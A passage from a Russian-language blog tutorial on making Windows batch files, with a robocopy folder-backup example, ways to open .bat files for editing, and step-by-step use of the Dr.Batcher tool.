Вот еще один полезный пример. Давайте напишем скрипт, который будет делать резервную копию содержимого одной папки и сохранять данные в другой. Команда robocopy отвечает за копирование:

robocopy C:/data D:/backup /e pause

как-создать-бат-фаил-12

Запуск такого командного файла на выполнение скопирует в резервную папку все содержимое папки data, включая вложенные каталоги, пустые и с файлами. Кстати, команда robocopy имеет множество опций, позволяющих очень гибко настраивать параметры копирования.

как-создать-бат-фаил-13

Формат bat чем открыть?

Помимо создания файлов .bat в текстовом редакторе, их можно открыть с помощью блокнота, wordpad или notepad++.

Единственное, что вы должны помнить при открытии bat-файла, это то, что при двойном щелчке по файлу запускается программа. То есть, чтобы открыть его для редактирования, наведите курсор на редактируемый файл и щелкните правой кнопкой мыши, чтобы открыть контекстное меню, где вы выбираете открыть с помощью notepad++

Также, если в контекстном меню нажать на просто открыть, у вас также начнется выполнение bat-файла.

Есть еще один способ: откройте текстовый редактор блокнота и перетащите в него редактируемый файл.

Важно: пользователи часто путают файлы терминов с расширением файла .bat и почтовым клиентом «The Bat» для отправки и получения документов по электронной почте.

Создание пакетного файла с помощью утилиты «Dr.Batcher»

Указанный программный продукт является платным, но позволяет использовать пробную версию в течение 30 дней.

Средство «Доктор Батчер»

Шаг 1. Для создания файла используйте меню «Файл», пункт «Создать…» или комбинацию клавиш «Ctrl+N».

Создать файл

Шаг 2. В диалоговом окне «О программе» нажмите «ОК».

о, и нажмите «ОК»

Шаг 3. Укажите, какие команды должен выполнять bat-файл.

Укажите, какие команды должен выполнять bat-файл

На заметку! Правый фрейм содержит ключевые команды, которые можно использовать при написании кода. Достаточно выбрать нужную и нажать кнопку «Вставить команду», что поможет сэкономить время при работе.

Правый фрейм содержит ключевые команды, которые можно использовать при написании кода

Шаг 4. Сохраните полученный файл в нужную директорию.

Сохраняем полученный файл в нужную директорию

Важно! Обратите внимание, что этот инструмент позволяет отлаживать программу на лету. Достаточно воспользоваться меню «Пакет», чтобы запустить уже заданную последовательность. Прогресс отображается в нижней рамке. При использовании пункта «Запустить во внешнем окне…» пакетный файл будет выполнен так же, как он был запущен с помощью операционной системы.

Этот инструмент позволяет отлаживать программу «на лету»

Оцените статью
Блог про Steam